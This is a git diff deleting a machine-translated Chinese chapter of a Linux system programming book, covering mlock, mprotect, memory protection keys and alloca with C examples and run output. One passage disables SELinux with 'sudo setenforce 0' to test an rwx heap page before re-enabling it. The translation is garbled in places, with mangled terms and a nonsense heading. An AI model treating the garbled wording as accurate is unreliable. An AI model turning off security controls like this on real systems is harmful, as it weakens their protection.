from address %p\n", len, ptr); - memset(ptr, 'L', len); - disp_locked_mem(); - sleep(1); - - /* Now unlock it.. */ - if (munlock(ptr, len)) { - free(ptr); - FATAL("munlock failed\n"); - } - printf("unlocked..\n"); - free(ptr); -} - -int main(int argc, char **argv) -{ - if (argc < 2) { - fprintf(stderr, "Usage: %s pages-to-alloc\n", argv[0]); - exit(EXIT_FAILURE); - } - disp_locked_mem(); - try_mlock(argv[1]); - exit (EXIT_SUCCESS); -} -``` - -让我们试一试吧: - -```sh -$ ./mlock_try Usage: ./mlock_try pages-to-alloc $ ./mlock_try 1 VmLck: 0 kB -Locked 4096 bytes from address 0x1a6e000 -VmLck: 4 kB -unlocked.. $ ./mlock_try 32 VmLck: 0 kB mlock_try.c:try_mlock:79: mlock failed -perror says: Cannot allocate memory -$ -$ ./mlock_try 15 VmLck: 0 kB -Locked 61440 bytes from address 0x842000 -VmLck: 60 kB -unlocked.. $ sudo ./mlock_try 32 [sudo] password for : xxx -VmLck: 0 kB -Locked 131072 bytes from address 0x7f6b478db000 -VmLck: 128 kB -unlocked.. -$ prlimit | grep MEMLOCK MEMLOCK max locked-in-memory address space 65536 65536 bytes -$ -``` - -Notice, in the successful cases, the address returned by `posix_memalign(3)`*;* it's on a page boundary. We can quickly tell by looking at the last three digits (from the right) of the address – if they are all zeroes, it's cleanly divisible by page size and thus on a page boundary. This is because the page size is usually 4,096 bytes, and 4096 decimal = 0x1000 hex! - -我们请求 32 个页面;分配成功,但*mlock*失败,因为 32 个页面=32*4K=128KB;锁定内存的资源限制仅为 64KB。 但是,当我们*sudo*它(因此以 root 访问运行)时,它可以工作。 - -# 锁定所有页面 - -*mlock*基本上允许我们告诉操作系统将一定范围的内存锁定到 RAM 中。 然而,在某些实际情况下,我们无法准确预测需要预先驻留的内存页面(实时应用可能需要各种或所有内存页面始终驻留)。 - -为了解决这个棘手的问题,存在另一个系统调用--**mlockall(2)*;正如您可以猜到的那样,它允许您锁定所有进程内存页: - -` int mlockall(int flags);` - -如果成功(请记住,*mlockall*与*mlock*具有相同的权限限制),则保证进程的所有内存页*-*(如文本、数据段、库页、堆栈和共享内存段)将一直驻留在 RAM 中,直到解锁。 - -*标志*参数为应用开发人员提供进一步的控制;它可以是以下各项的位或: - -* `MCL_CURRENT` -* `MCL_FUTURE` -* `MCL_ONFAULT (Linux 4.4 onward)` - -使用`MCL_CURRENT`要求操作系统将调用进程的 VAS 中的所有当前页面锁定到内存中。 - -但是,如果您在初始化时发出*mlockall(2)和*系统调用,但是实时进程将在 5 分钟后执行一个*malloc*(比方说 200KB),该怎么办呢? 我们需要保证这 200KB 的内存(即 50 个页面,给定 4KB 的页面大小)始终驻留在 RAM 中(否则,实时应用将因未来可能出现的页面错误而遭受太大的延迟)。 这就是`MCL_FUTURE`标志的目的:它保证将来成为调用进程的 VAS 一部分的内存页将一直驻留在内存中,直到解锁。 - -我们在*请求分页*一节中了解到,执行*malloc*只不过是保留虚拟内存,而不是物理内存。 例如,如果(非实时)应用执行了相当大的兆字节(即 512 页)的分配,我们知道只保留了 512 个虚拟页,而物理页帧并没有实际分配-它们将在按需时出错。因此,典型的实时应用需要以某种方式保证,一旦出错,这 512 页将保持锁定(驻留)在 RAM 中。 使用`MCL_ONFAULT`标志来实现这一点。 - -此标志必须与`MCL_CURRENT`和/或`MCL_FUTURE`标志一起使用。 其想法是,物理内存消耗仍然非常高效(因为在执行*malloc*时没有进行物理分配),但是,一旦应用开始接触虚拟页面(即,读取、写入或执行页面内的数据或代码),物理页帧就会出错,然后它们将被锁定。 换句话说,我们不会预错记忆,因此我们两全其美。 - -问题的另一面是,完成后,应用可以通过发出对应的 API:**munlockall(2)*来解锁所有内存页。 - -# 内存保护 - -比方说,一个应用动态分配四页内存。 默认情况下,该内存是可读和可写的;我们将其称为页面上的*内存保护*。 - -如果应用开发人员可以按页动态修改内存保护,那不是很好吗? 例如,使用默认保护保留第一页,将第二页*设为只读*,将第三页*设为读取+执行*,而在第四页上,不允许任何类型的访问(也许是保护页?)。 - -嗯,这个特性正是设计`mprotect(2)`系统调用的目的。 让我们深入研究一下如何利用它来完成所有这些工作。 以下是它的签名: - -```sh -#include -int mprotect(void *addr, size_t len, int prot); -``` - -实际上非常简单:从(虚拟)地址开始,对`len`字节使用`addr,`(即从`addr`到`addr+len-1`),应用由*prot*位掩码指定的内存保护。 因为*mProtection*的粒度是一个页面,所以第一个参数:*addr*应该是页面对齐的(在页面边界上;回想一下,这也是`mlock[all](2)`所期望的)。 - -第三个参数-`prot`是指定实际保护的位置;它是位掩码,可以只是`PROT_NONE`位,也可以是余数的逐位 OR: - -| **保护位** | **存储器保护的含义** | -| `PROT_NONE` | 不允许访问该页面 | -| `PROT_READ` | 页面上允许的读取 | -| `PROT_WRITE` | 页面上允许的写入 | -| `PROT_EXEC` | 执行页面上允许的访问权限 | - -Within the man page on *mprotect(2),* there are several other rather arcane protection bits and useful information under the NOTES section. If required (or just curious), read about it here: [http://man7.org/linux/man-pages/man2/mprotect.2.html](http://man7.org/linux/man-pages/man2/mprotect.2.html)*.* - -# 内存保护工具-提供代码示例 - -让我们考虑一个示例程序,其中进程动态分配四页内存,并希望对它们进行设置,以使每页的内存保护如下表所示: - -| **页码** | **第 0 页** | **第 1 页** | **第 2 页** | **第 3 页** | -| 保护位 | `rw-` | `r--` | `rwx` | `---` | - -代码的相关部分如下所示: - -首先,*main*函数使用`posix_memalign(3)`API 动态分配页面对齐的内存(四页),然后依次调用内存保护和内存测试函数: - -```sh -[...] - /* Don't use the malloc; POSIX wants page-aligned memory for mprotect(2) */ - posix_memalign(&ptr, gPgsz, 4*gPgsz); - if (!ptr) - FATAL("posix_memalign(for %zu bytes) failed\n", 4*gPgsz); - protect_mem(ptr); - test_mem(ptr, atoi(argv[1])); -[...] -``` - -内存保护功能如下: - -```sh -int okornot[4]; -static void protect_mem(void *ptr) -{ - int i; - u64 start_off=0; - char str_prots[][128] = {"PROT_READ|PROT_WRITE", "PROT_READ", - "PROT_WRITE|PROT_EXEC", "PROT_NONE"}; - int prots[4] = {PROT_READ|PROT_WRITE, PROT_READ, - PROT_WRITE|PROT_EXEC, PROT_NONE}; - - printf("%s():\n", __FUNCTION__); - memset(okornot, 0, sizeof(okornot)); - - /* Loop over each page, setting protections as required */ - for (i=0; i<4; i++) { - start_off = (u64)ptr+(i*gPgsz); - printf("page %d: protections: %30s: " - "range [0x%llx:0x%llx]\n", - i, str_prots[i], start_off, start_off+gPgsz-1); - - if (mprotect((void *)start_off, gPgsz, prots[i]) == -1) - WARN("mprotect(%s) failed\n", str_prots[i]); - else - okornot[i] = 1; - } -} -``` - -设置存储器保护后,我们让`main()`*和*函数调用存储器测试函数`test_mem`。 第二个参数确定我们是否将尝试在只读存储器上写入(我们需要对页面 1 执行此测试用例,因为它是只读保护的): - -```sh -static void test_mem(void *ptr, int write_on_ro_mem) -{ - int byte = random() % gPgsz; - char *start_off; - - printf("\n----- %s() -----\n", __FUNCTION__); - - /* Page 0 : rw [default] mem protection */ - if (okornot[0] == 1) { - start_off = (char *)ptr + 0*gPgsz + byte; - TEST_WRITE(0, start_off, 'a'); - TEST_READ(0, start_off); - } else - printf("*** Page 0 : skipping tests as memprot failed...\n"); - - /* Page 1 : ro mem protection */ - if (okornot[1] == 1) { - start_off = (char *)ptr + 1*gPgsz + byte; - TEST_READ(1, start_off); - if (write_on_ro_mem == 1) { - TEST_WRITE(1, start_off, 'b'); - } - } else - printf("*** Page 1 : skipping tests as memprot failed...\n"); - - /* Page 2 : RWX mem protection */ - if (okornot[2] == 1) { - start_off = (char *)ptr + 2*gPgsz + byte; - TEST_READ(2, start_off); - TEST_WRITE(2, start_off, 'c'); - } else - printf("*** Page 2 : skipping tests as memprot failed...\n"); - - /* Page 3 : 'NONE' mem protection */ - if (okornot[3] == 1) { - start_off = (char *)ptr + 3*gPgsz + byte; - TEST_READ(3, start_off); - TEST_WRITE(3, start_off, 'd'); - } else - printf("*** Page 3 : skipping tests as memprot failed...\n"); -} -``` - -在尝试测试它之前,我们检查页面是否确实受到了`mprotect`*和*调用的保护(通过我们简单的`okornot[]`*和*数组)。 此外,为了提高可读性,我们构建了简单的`TEST_READ`和`TEST_WRITE`宏: - -```sh -#define TEST_READ(pgnum, addr) do { \ - printf("page %d: reading: byte @ 0x%llx is ", \ - pgnum, (u64)addr); \ - fflush(stdout); \ - printf(" %x", *addr); \ - printf(" [OK]\n"); \ -} while (0) - -#define TEST_WRITE(pgnum, addr, byte) do { \ - printf("page %d: writing: byte '%c' to address 0x%llx now ...", \ - pgnum, byte, (u64)addr); \ - fflush(stdout); \ - *addr = byte; \ - printf(" [OK]\n"); \ -} while (0) -``` - -如果该进程违反任何内存保护,操作系统将通过通常的*段故障*机制(在[第 12 章](12.html)*、*和*信号第 II 部分*中详细说明)立即终止该进程。 - -让我们在`memprot`程序上执行一些测试运行;首先(原因很快就会清楚),我们将在通用的 Ubuntu Linux 机器上尝试它,然后在 Fedora 系统上,最后在(仿真的)ARM-32 平台上! - -案例#1.1:标准 Ubuntu 18.04 LTS 上的`memprot`*和*程序,参数为 0**和**(输出经过重新格式化以提高可读性): - -```sh -$ cat /etc/issue Ubuntu 18.04 LTS \n \l $ uname -r 4.15.0-23-generic $ - -$ ./memprot -Usage: ./memprot test-write-to-ro-mem [0|1] -$ ./memprot 0 ------ protect_mem() ----- -page 0: protections: PROT_READ|PROT_WRITE: range [0x55796ccd5000:0x55796ccd5fff] -page 1: protections: PROT_READ: range [0x55796ccd6000:0x55796ccd6fff] -page 2: protections: PROT_READ|PROT_WRITE|PROT_EXEC: range [0x55796ccd7000:0x55796ccd7fff] -page 3: protections: PROT_NONE: range [0x55796ccd8000:0x55796ccd8fff] - ------ test_mem() ----- -page 0: writing: byte 'a' to address 0x55796ccd5567 now ... [OK] -page 0: reading: byte @ 0x55796ccd5567 is 61 [OK] -page 1: reading: byte @ 0x55796ccd6567 is 0 [OK] -page 2: reading: byte @ 0x55796ccd7567 is 0 [OK] -page 2: writing: byte 'c' to address 0x55796ccd7567 now ... [OK] -page 3: reading: byte @ 0x55796ccd8567 is Segmentation fault -$ -``` - -好的,因此,`memprot`的参数是`0`或`1`;`0`表示我们不执行写到只读存储器测试,而`1`表示我们执行。 在这里,我们使用`0`参数运行它。 - -在前面的输出中需要注意的事项如下: - -* `protect_mem()`函数按页设置内存保护。 我们分配了 4 个页面,因此我们循环了 4 次,在每次循环迭代`i`时,在第 i 个内存页上执行`mprotect(2)`。 -* 正如您在代码中清楚地看到的那样,它是在每次循环迭代中以这种方式完成的 - * 第`0 : rw-`页:将页面保护设置为`PROT_READ | PROT_WRITE` - * 第`1 : r--`页:将页面保护设置为`PROT_READ` - * 第`2 : rwx`页:将页面保护设置为`PROT_READ| PROT_WRITE | PROT_EXEC` - * 页面`3 : ---`:将页面保护设置为`PROT_NONE`,即使页面不可访问 - -* 在前面的输出中,在*mProtection*之后显示的输出格式如下: - - `page <#>: protections:  range [:]` -* 一切都很顺利;这四页根据需要得到了新的保护。 -* 接下来,调用函数`test_mem()`,该函数测试每个页面的保护(页面的内存保护显示在通常的[`rwx`]格式的方括号中): - - * 在第 0 页[Default:`rw-`]上:它在页面内写入和读取一个随机字节 - * 在页面 1[`r--`]上:它读取页面内的随机字节,如果用户将参数传递为`1`,它会尝试写入该页面内的随机字节(这里不是这种情况,但在下面的情况下会是这样) - * 在第 2 页[`rwx`]上:不出所料,这里的随机字节读写成功 - * 在第 3 页[`---`]上:它尝试读写页内的随机字节。 - * 第一次访问失败-读取*段*段失败,出现*段错误*;这当然是意料之中的,因为该页没有任何权限(我们在这种情况下复制输出):`**page 3: reading: byte @ 0x55796ccd8567 is Segmentation fault**` -* 总而言之,在参数为 0`0`的情况下,第 0、1 和 2 页上的测试用例成功;正如预期的那样,第 3 页上的任何访问都会导致操作系统终止进程(通过分段违规信号)。 - -案例#1.2:标准 Ubuntu 18.04 LTS 上的`memprot`脚本程序,参数为 1(输出经过重新格式化以提高可读性)。 - -现在让我们重新运行该程序,并将参数设置为`1`,从而尝试写入*只读*页`1`: - -```sh -$ ./memprot 1 ----- protect_mem() ----- -page 0: protections: PROT_READ|PROT_WRITE: range [0x564d74f2d000:0x564d74f2dfff] -page 1: protections: PROT_READ: range [0x564d74f2e000:0x564d74f2efff] -page 2: protections: PROT_READ|PROT_WRITE|PROT_EXEC: range [0x564d74f2f000:0x564d74f2ffff] -page 3: protections: PROT_NONE: range [0x564d74f30000:0x564d74f30fff] - ------ test_mem() ----- -page 0: writing: byte 'a' to address 0x564d74f2d567 now ... [OK] -page 0: reading: byte @ 0x564d74f2d567 is 61 [OK] -page 1: reading: byte @ 0x564d74f2e567 is 0 [OK] -page 1: writing: byte 'b' to address 0x564d74f2e567 now ...Segmentation fault -$ -``` - -实际上,不出所料,当它违反只读页面权限时,它会*分段*。 - -案例 2:标准*Fedora 28*系统上的`memprot`*和*程序。 - -在撰写本书时,最新也是最好的*Fedora*工作站发行版是 28 版: - -```sh -$ lsb_release -a -LSB Version: :core-4.1-amd64:core-4.1-noarch -Distributor ID: Fedora -Description: Fedora release 28 (Twenty Eight) -Release: 28 -Codename: TwentyEight -$ uname -r -4.16.13-300.fc28.x86_64 -$ -``` - -我们在此标准*Fedora 28*工作站系统上构建并运行我们的`memprot`*和*程序(将`0`作为参数传递-意味着我们不会尝试写入只读存储器页): - -```sh -$ ./memprot 0 ------ protect_mem() ----- -page 0: protections: PROT_READ|PROT_WRITE: range [0x15d8000:0x15d8fff] -page 1: protections: PROT_READ: range [0x15d9000:0x15d9fff] -page 2: protections: PROT_READ|PROT_WRITE|PROT_EXEC: range [0x15da000:0x15dafff] -!WARNING! memprot.c:protect_mem:112: - mprotect(PROT_READ|PROT_WRITE|PROT_EXEC) failed -perror says: Permission denied -page 3: protections: PROT_NONE: range [0x15db000:0x15dbfff] - ------ test_mem() ----- -page 0: writing: byte 'a' to address 0x15d8567 now ... [OK] -page 0: reading: byte @ 0x15d8567 is 61 [OK] -page 1: reading: byte @ 0x15d9567 is 0 [OK] -*** Page 2 : skipping tests as memprot failed... -page 3: reading: byte @ 0x15db567 is Segmentation fault (core dumped) -$ -``` - -我们如何解释前面的输出? 以下是对此的解释: - -* 页面 0、1 和 3 一切正常:*mProtect*API 成功地设置了页面的保护,完全如图所示 - -* 但是,当我们使用`PROT_READ | PROT_WRITE | PROT_EXEC`属性尝试第 2 页上的`mprotect(2)`系统调用时,我们会收到一个失败(以及一条错误的*警告*消息)。-*为什么?* - - * 通常的操作系统安全是**自主访问控制**层(**DAC**)。许多现代 Linux 发行版,包括 Fedora,都有一个强大的安全功能--操作系统内部的额外一层安全--**强制访问控制**层(**MAC**)。所有这些都在 Linux 上实现为**Linux 安全模块**(**LSM[T11。 流行的 LSM 包括美国国家安全局的 SELinux(安全增强型 Linux)、AppArmor、Smack、Tomoyo 和 Yama。** - * Feddora 使用 SELinux,而 Ubuntu 变体倾向于使用 AppArmor。 无论哪种情况,通常都是这些 LSM 在违反安全策略时导致用户发出的系统调用失败。 这正是我们在第三个页面(当试图将页面保护设置为[`rwx`]时)上的 monmProtection(2)系统调用所发生的情况! - * 作为一种快速概念验证,现在只是让它正常工作,我们暂时**禁用***SELinux*,然后重试: - - ```sh - $ getenforce - Enforcing - $ setenforce - usage: setenforce [ Enforcing | Permissive | 1 | 0 ] - $ sudo setenforce 0 - [sudo] password for : xxx - $ getenforce - Permissive - $ - ``` - - *SELinux*现在处于允许模式;请重试该应用: - -```sh -$ ./memprot 0 ------ protect_mem() ----- -page 0: protections: PROT_READ|PROT_WRITE: range [0x118e000:0x118efff] -page 1: protections: PROT_READ: range [0x118f000:0x118ffff] -page 2: protections: PROT_READ|PROT_WRITE|PROT_EXEC: range [0x1190000:0x1190fff] -page 3: protections: PROT_NONE: range [0x1191000:0x1191fff] - ------ test_mem() ----- -page 0: writing: byte 'a' to address 0x118e567 now ... [OK] -page 0: reading: byte @ 0x118e567 is 61 [OK] -page 1: reading: byte @ 0x118f567 is 0 [OK] -page 2: reading: byte @ 0x1190567 is 0 [OK] -page 2: writing: byte 'c' to address 0x1190567 now ... [OK] -page 3: reading: byte @ 0x1191567 is Segmentation fault (core dumped) -$ -``` - -现在,它像预期的那样工作了! 不要忘记重新启用 LSM: - -```sh -$ sudo setenforce 1 -$ getenforce -Enforcing -$ -``` - -# 一个备用的 LSM 日志,Ftrace - -(如果您对此不感兴趣,请随意跳过这一节)。敏锐的读者可能会想:如何才能意识到最终导致系统调用失败的是操作系统安全层(LSM)?一般来说,有两种方法:检查给定的 LSM 日志,或者使用内核的`Ftrace`功能。第一种方法更简单,但第二种方法可以让我们深入了解操作系统级别的情况。 - -# LSM 日志 - -现代 Linux 系统使用功能强大的 csystemd 框架进行进程初始化、日志记录等。 该日志记录设施称为日志记录工具,可通过` journalctl(1)`日志实用程序进行访问。 我们使用它来验证是否确实是 SELinux LSM 导致了该问题: - -```sh -$ journalctl --boot | grep memprot -[...] - python3[31861]: SELinux is preventing memprot from using the execheap access on a process. - If you do not think memprot should need to map heap memory that is both writable and executable. - If you believe that memprot should be allowed execheap access on processes labeled unconfined_t by default. - # ausearch -c 'memprot' --raw | audit2allow -M my-memprot - # semodule -X 300 -i my-memprot.pp -``` - -它甚至向我们展示了我们如何才能允许访问。 - -# Ftrace - -Linux 内核有一个非常强大的内置跟踪机制(好吧,它就是其中之一):跟踪*Ftrace*。 使用`ftrace`,您可以验证确实是*LSM*代码在遵守其安全策略的同时,导致用户空间发出的系统调用返回失败。 我运行了一个跟踪(使用`ftrace`): - -![](img/82dbe338-ea14-4d08-b883-845de7a88777.png) - -ftrace output snippet - -函数`SyS_mprotect`是在内核*和*内的*mProtection(2)和*系统调用的结果;`security_file_mprotect`是指向实际 SELinux 函数的 LSM 钩子函数:`selinux_file_mprotect`;显然,它无法访问。 - -有趣的是,Ubuntu 18.04 LTS 还使用了一个新的 LSM 版本--AppArmor。 但是,它似乎没有配置为捕获这种*写+执行*(堆)页面保护情况。 - -当然,这些主题(LSM、ftrace)超出了本书的范围。 对于好奇的读者(我们喜欢的那类),请在 GitHub 存储库的*进一步阅读*部分查看有关*LSM*和*Ftrace*的更多信息。 - -# 在 ARM-32 上运行 memprot 程序的实验 - -作为一个有趣的实验,我们将为**ARM 系统**交叉编译前面的*memprot*程序。 我使用了一种不需要实际硬件的便捷方法:使用功能强大的**自由开源软件**(**FOSS**)**Quick Emulator**(**QEMU**)项目,模拟 ARM 多功能 Express Cortex-A9 平台! - -交叉编译代码确实很简单:请注意,现在在我们的`Makefile`*中有一个`CROSS_COMPILE`变量;*它是交叉编译器前缀-标识工具链的前缀字符串(所有工具都通用)。它实际上被添加到`CC`(对于`gcc`,或者`CL`对于 clang)变量的前缀,该变量是用于构建目标的编译器。 不幸的是,关于交叉编译和根文件系统构建的更多细节超出了本书的范围;有关帮助,请参阅本例输出后面的*提示*。 此外,为了简单起见,我们将使用直接方法-`Makefile`中 ARM 版本的单独目标。 让我们来看看这份报告的相关部分`Makefile`: - -```sh -$ cat Makefile -[...] -CROSS_COMPILE=arm-linux-gnueabihf- -CC=gcc -CCARM=${CROSS_COMPILE}gcc -[...] -common_arm.o: ../common.c ../common.h - ${CCARM} ${CFLAGS} -c ../common.c -o common_arm.o -memprot_arm: common_arm.o memprot_arm.o - ${CCARM} ${CFLAGS} -o memprot_arm memprot_arm.c common_arm.o -[...] -``` - -因此,如下所示,我们交叉编译`memprot_arm`测试程序: - -```sh -$ make clean [...] $ make memprot_arm -arm-linux-gnueabihf-gcc -Wall -c ../common.c -o common_arm.o gcc -Wall -c -o memprot_arm.o memprot_arm.c arm-linux-gnueabihf-gcc -Wall -o memprot_arm memprot_arm.c common_arm.o $ file ./memprot_arm ./memprot_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=3c720<...>, with debug_info, not stripped $ -``` - -啊哈,它生成了一个 ARM 可执行文件! 我们将其复制到嵌入式根文件系统,引导(模拟的)ARM 板,并试用: - -```sh -$ qemu-system-arm -m 512 -M vexpress-a9 \ - -kernel <..img/zImage \ - -drive file=<..img/rfs.img,if=sd,format=raw \ - -append \ - "console=ttyAMA0 rootfstype=ext4 root=/dev/mmcblk0 init=/sbin/init " \ - -nographic -dtb <..img/vexpress-v2p-ca9.dtb - -[...] -Booting Linux on physical CPU 0x0 -Linux version 4.9.1-crk (xxx@yyy) (gcc version 4.8.3 20140320 (prerelease) (Sourcery CodeBench Lite 2014.05-29) ) #16 SMP Wed Jan 24 10:09:17 IST 2018 -CPU: ARMv7 Processor [410fc090] revision 0 (ARMv7), cr=10c5387d -CPU: PIPT / VIPT nonaliasing data cache, VIPT nonaliasing instruction cache - -[...] - -smsc911x 4e000000.ethernet eth0: SMSC911x/921x identified at 0xa1290000, IRQ: 31 -/bin/sh: can't access tty; job control turned off -ARM / $ -``` - -我们使用(模拟的)ARM-32 系统提示符;让我们尝试运行我们的程序: - -```sh -ARM # ./memprot_arm Usage: ./memprot_arm test-write-to-ro-mem [0|1] ARM # ./memprot_arm 0 ----- protect_mem() ----- -page 0: protections: PROT_READ|PROT_WRITE: range [0x24000, 0x24fff] -page 1: protections: PROT_READ: range [0x25000, 0x25fff] -page 2: protections: PROT_READ|PROT_WRITE|PROT_EXEC: range [0x26000, 0x26fff] -page 3: protections: PROT_NONE: range [0x27000, 0x27fff] - ------ test_mem() ----- -page 0: writing: byte 'a' to address 0x24567 now ... [OK] -page 0: reading: byte @ 0x24567 is 61 [OK] -page 1: reading: byte @ 0x25567 is 0 [OK] -page 2: reading: byte @ 0x26567 is 0 [OK] -page 2: writing: byte 'c' to address 0x26567 now ... [OK] -page 3: reading: byte @ 0x27567 is Segmentation fault (core dumped) -ARM # -``` - -读者会注意到,与我们之前在 x86_64 系统上运行的*Fedora 28*发行版不同,我们尝试将第 2 页的内存保护设置为[`rwx`]的第 2 页测试用例(以粗体突出显示)确实成功了!当然,没有安装 LSM。 - -If you would like to try similar experiments, running code on an emulated ARM-32, consider using the **Simple Embedded ARM Linux System** (**SEALS**) project, again pure open source, to easily build a very simple, yet working, ARM/Linux-embedded system: [https://github.com/kaiwan/seals](https://github.com/kaiwan/seals). - -通过强大的`mmap(2)`系统调用(我们在[第 18 章](18.html),*高级文件 I/O*中介绍了关于文件 I/O 的`mmap(2)`),可以实现类似的内存保护-在一系列内存设置保护属性(rwx 或 None)。 - -# 内存保护密钥-提供简短说明 - -最近的英特尔 64 位处理器提供了一种称为**内存保护密钥**(**MPK**)的功能。 简而言之,mpk(或在 Linux 上称为*pkeys*)也允许用户空间设置页面粒度的权限。 那么,如果它与*mProtection*或*mmap*做同样的事情,会带来什么好处呢? 请参阅以下内容: - -* 这是一项硬件功能,因此将大范围的页面(例如,GB 内存)设置为某些特定的内存权限将比`mprotect(2)`能够管理的速度快得多;这对某些类型的应用很重要 -* 应用(也许是内存中的数据库)可以通过在绝对需要之前关闭对内存区域的写入来受益,从而减少虚假的写入错误 - -你是如何利用 MPK 的? 首先,请注意,它目前只在最新的 Linux 内核和 x86_64 处理器体系结构上实现。 要使用它,请阅读*pkey 上的手册页(第 7 节);*它有说明性注释和示例代码:[http://man7.org/linux/man-pages/man7/pkeys.7.html](http://man7.org/linux/man-pages/man7/pkeys.7.html)。 - -# 使用 Alloca 分配自动内存 - -Glibc 库通过 malloc(和 Friends)`alloca(3)`API 提供了动态内存分配的替代方案。 - -Alloca 可以被认为是一个方便的例程:**它在堆栈**(调用它的函数)上分配内存。 Showcase 的功能是不需要空闲内存,一旦函数返回,内存就会自动释放。 事实上,不能调用`free(3)`。 这是有道理的:堆栈上分配的内存称为自动内存-它将在该函数返回时释放。 - -像往常一样,使用有好处也有坏处-权衡取舍-`alloca(3)`: - -以下是`alloca(3)`的优点: - -* 不需要免费;这可以使编程、可读性和可维护性变得简单得多。 因此,我们可以避免危险的内存泄漏错误-这是一个巨大的收获! -* 它被认为非常快,内部碎片(损耗)为零。 -* 使用它的主要原因:有时,程序员使用非本地出口,通常通过`longjmp(3)`和`siglongjmp(3)`API。 如果程序员使用`malloc(3)`分配内存区域,然后通过非本地出口突然离开函数,则会发生内存泄漏。 使用*Alloca*可以避免这种情况,并且代码易于实现和理解。 - -以下是 Alloca 的缺点: - -* Alloca 的主要缺点是,当传递一个大到足以导致堆栈溢出的值时,不能保证返回失败;因此,如果在运行时确实发生这种情况,则进程现在处于**未定义行为**(**UB**)状态,并且(最终)将崩溃。 换言之,像处理`malloc(3)`系列一样,检查空返回的 alloca 是没有用的! -* 可移植性并不是必然的。 -* 通常,alloca 是作为内联函数实现的;这可以防止它通过第三方库被覆盖。 - -请看下面的代码(`ch4/alloca_try.c`): - -```sh -[...] -static void try_alloca(const char *csz, int do_the_memset) -{ - size_t sz = atol(csz); - void *aptr; - - aptr = alloca(sz); - if (!aptr) - FATAL("alloca(%zu) failed\n", sz); - if (1 == do_the_memset) - memset(aptr, 'a', sz); - - /* Must _not_ call free(), just return; - * the memory is auto-deallocated! - */ -} - -int main(int argc, char **argv) -{ - [...] - if (atoi(argv[2]) == 1) - try_alloca(argv[1], 1); - else if (atoi(argv[2]) == 0) - try_alloca(argv[1], 0); - else { - fprintf(stderr, "Usage: %s size-to-alloca do_the_memset[1|0]\n", - argv[0]); - exit(EXIT_FAILURE); - } - exit (EXIT_SUCCESS); -} -``` - -让我们构建并试用它: - -```sh -$ ./alloca_try -Usage: ./alloca_try size-to-alloca do_the_memset[1|0] -$ ./alloca_try 50000 1 -$ ./alloca_try 50000 0 -$ -``` - -`alloca_try`的第一个参数是要分配的内存量(以字节为单位),而第二个参数 iif`1`对该内存区域具有第一个`memset`进程调用;如果是`0`,则不是。 - -在前面的代码片段中,我们使用 50,000 字节的分配请求尝试了它-它在`memset`两种情况下都成功了。 - -现在,我们故意将`-1`作为第一个参数传递,它将被视为一个无符号的数量(从而成为 64 位操作系统上的`0xffffffffffffffff`),这当然应该会导致`alloca(3)`失败,但令人惊讶的是,它没有报告失败;至少它认为没有问题: - -```sh -$ ./alloca_try -1 0 -$ echo $? -0 -$ ./alloca_try -1 1 -Segmentation fault (core dumped) -$ -``` - -但是,执行`memset`*和*(将第二个参数作为`1`传递)会导致 bug 浮出水面;如果没有它,我们永远不会知道。 - -要进一步验证这一点,请尝试在库调用跟踪软件`ltrace`的控制下运行程序;我们将`1`作为第一个参数传递,强制进程在`alloca(3)`之后调用`memset`: - -```sh -$ ltrace ./alloca_try -1 1 -atoi(0x7ffcd6c3e0c9, 0x7ffcd6c3d868, 0x7ffcd6c3d888, 0) = 1 -atol(0x7ffcd6c3e0c6, 1, 0, 0x1999999999999999) = -1 -memset(0x7ffcd6c3d730, 'a', -1 ---- SIGSEGV (Segmentation fault) --- -+++ killed by SIGSEGV +++ -$ -``` - -啊哈! 我们可以看到,在 Memset 之后,该进程接收到致命信号并死亡。 但是为什么`alloca(3)`API 没有出现在`ltrace`中呢? 因为它是一个内联函数,这是它的缺点之一。 - -但请注意;在这里,我们将`0`作为第一个参数传递,绕过对 Memset`alloca(3)`之后对 memset 的调用: - -```sh -$ ltrace ./alloca_try -1 0 -atoi(0x7fff9495b0c9, 0x7fff94959728, 0x7fff94959748, 0) = 0 -atoi(0x7fff9495b0c9, 0x7fff9495b0c9, 0, 0x1999999999999999) = 0 -atol(0x7fff9495b0c6, 0, 0, 0x1999999999999999) = -1 -exit(0 -+++ exited (status 0) +++ -$ -``` - -它会正常退出,就好像没有 bug 一样! - -此外,您还会记得,在[第 3 章](03.html)和*资源限制*中,我们看到进程的默认堆栈大小为 8 MB。 我们可以通过我们的`alloca_try`程序测试这一事实: - -```sh -$ ./alloca_try 8000000 1 -$ ./alloca_try 8400000 1 -Segmentation fault (core dumped) -$ ulimit -s -8192 -$ -``` - -当我们超过 8MB 时,*`alloca(3)`会分配太多空间,但不会触发崩溃;相反,*`memset(3)`会导致 SEGFAULT 发生。 此外,ulimit 验证堆栈资源限制是否为 8,192KB,即 8MB。 - -To conclude, a really, really key point: you can often end up writing software that seems to be correct but is, in fact, not. The only way to gain confidence with the software is to take the trouble to perform 100% code coverage and run test cases against them! It's hard to do, but quality matters. Just do it. - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -本章关注 Linux 操作系统上 C 应用开发人员的动态内存管理的简单和高级两个方面。 在最初的部分中,讨论了基本的 glibc 动态内存管理 API 及其在代码中的正确用法。 - -然后,我们转到更高级的主题,例如程序中断(和`sbrk(3)`API)、`malloc(3)`在分配不同大小的内存时在内部的行为,以及按需分页的关键概念。 然后,我们深入研究了执行内存锁定和内存区域保护的 API,以及使用它们的原因。 最后,我们介绍了替代 API`alloca(3)`。 我们使用了几个代码示例来巩固所学的概念。下一章将讨论一个非常重要的主题--由于内存 API 的糟糕编程实践而可能在 Linux 上出现的各种内存问题(缺陷* \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/05.md b/docs/handson-sys-prog-linux/05.md deleted file mode 100644 index 5c4632f0..00000000 --- a/docs/handson-sys-prog-linux/05.md +++ /dev/null @@ -1,1015 +0,0 @@ -# 五、Linux 内存问题 - -一个简单的真理是:记忆问题是存在的。 我们用 C(和 C++)等语言编程的事实本身就隐含地引起了无限类型的问题! 在某种程度上,人们意识到(可能有点悲观),使用托管内存安全语言谨慎编程最终是(唯一的?)。 完全避免内存问题的现实方法。 - -然而,我们现在正在使用我们选择的强大工具:卓越而古老的 C 编程语言! 因此,我们可以做些什么来缓解(如果不是消除)常见的内存问题,这是本章的主题。 归根结底,我们的目标是实现真正的内存安全;嗯,说起来容易做起来难! - 